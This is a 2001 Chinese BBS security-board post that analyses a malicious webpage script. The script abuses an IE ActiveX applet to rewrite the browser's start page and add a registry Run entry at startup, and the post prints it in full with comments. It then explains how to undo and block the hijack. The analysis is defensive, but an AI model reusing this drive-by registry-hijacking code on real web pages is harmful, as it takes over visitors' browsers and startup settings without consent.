荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Kernel (BENBEN), 信区: Security
标  题: 解剖恶意网站代码:开机后弹出IE页面
发信站: 荔园晨风BBS站 (Sat Sep 22 09:51:00 2001) , 转信

                解剖恶意网站代码:开机后弹出IE页面

       《为什么IE默认标题被修改了?》一文剖析了偷偷篡改IE标题栏的网页代码,然而

多网友纷纷指出有的网站更是不择手段,当用户访问过它们的网页后,不仅IE默认首页被篡
改了,而且每次开机后IE都会自动弹出访问该网站。
       我们通过对下面这段JavaScript程序的解剖,希望读者能明白其究竟,并掌握修复

方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改来达到
提高访问量的目的不仅会事得其反,更是一种不道德的行为。
              本代码由子昂轩编辑制作,仅供学习研究之用。
              < !-- Begin set start page brought to u by JavaHouse.126.com-->
              < SCRIPT language=JavaScript>
              document.write("< APPLET HEIGHT=0 WIDTH=0
            code=com.ms.activeX.ActiveXComponent>< /APPLET>");
              function f(){
              try
              {
              //ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
              a1=document.applets[0];
              a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
              a1.createInstance();
              Shl = a1.GetObject();
              a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
              a1.createInstance();
              FSO = a1.GetObject();
              a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
              a1.createInstance();
              Net = a1.GetObject();
              try
              {
              if (document.cookie.indexOf("Chg") == -1)
              //以下是检测用户注册表并修改相应的键值
              {
              Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
            Explorer\\Main\\Start Page",
            "JavaHouse.126.com");//修改用户InternetExplorer浏览器的默认主页
              Shl.RegWrite
            ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

\",
            "JavaHouse.126.com");//建立默认启动页面程序,保证用户每次启动计算机

先打开该页面
              var expdate = new Date((new Date()).getTime() + (1));
              document.cookie="Chg=general; expires=" + expdate.toGMTString()
+
            "; path=/;"
              }
              }
              catch(e)
              {}
              }
              catch(e)

              }
              function init()
              {
              setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册

的工作
              }
              init();< /SCRIPT>
              < !--End set start page -->
              首先,我们来分析一下这句代码,程序中使用:
              Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
            Explorer\\Main\\Start Page",
            "http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认


              其实就是修改用户注册表中
              HKEY_CURRENT_USER\Software\Microsoft\Internet
            Explorer\main\文件夹下Start Page的键值,
              这里面的值就是存放的IE浏览器的默认主页,如果你想改回来,把上面的
相应代码改为:
              Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
            Explorer\\Main\\Start Page", "about:blank");
              就可以实现打开IE是空白页了;当然你也不用动注册表,直接打开IE修改
Internet选项中的主页更方便些。
              再来看看上述程序最卑鄙的一句代码:
              Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\Curren
tVersion\\Run\\","JavaHouse.126.com");//建立默认启动页面程序,保证用户每次启
动计算机首先打开该页面,通过在注册表中HKEY_CURRENT_USER\Software\Microsoft\Win
dows\CurrentVersion\Run\
文件夹下建立Windows默认启动程序,当Windows启动后,我们会发现这个网页会自动打开,
但是在“开始”-“程序”-“启动”中却找不到,这是为什么呢?哦,原来都放到Run这个

件夹下面了。怎么来修改呢?两种方法,一是查找源头,进入注册表,删除Run下面的相应

就可以了;二是在“开始”-“运行”处输入"msconfig",把启动下面相应的那个网站前面

"√"去掉,重新启动计算机就可以了。
        避免此类恶意修改注册表的再次发生,你可以在IE的安全属性设置中禁掉ActiveX

当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。还有一种

法就是对于Windows98打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP,把ActiveXCompo
nent.class删掉;对于WindowsMe打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP,把Act
iveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页的。
       最后说说在首页使用这类代码的网站的目的,像在启动计算机直接打开网页的做法

认为主要是针对宽带和专线上网的用户,这样只要你不修改注册表禁掉它,你的IE主页每次
进入系统都会自动被修改成那个网站;对于拨号上网的用户每次进入系统都开一个找不到的
主页,也无所谓,至少你不改注册表,直接修改IE主页属性后可以避免被那种网站再次修改
(前提是不再进那个网站),可是每次开机后都弹出个网页也真是让人讨厌。
       以上代码适用于Windows9x/Me,InternetExplorer5.X浏览器,据说对IE6.0无效(因
为它里面没有ActiveXComponent.class这个组件),但作者没有测试过。(责任编辑Ray)








--
我现在到了什么地方???
※ 来源:.荔园晨风BBS站WWW bbs.szu.edu.cn. [FROM: 192.168.22.104]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店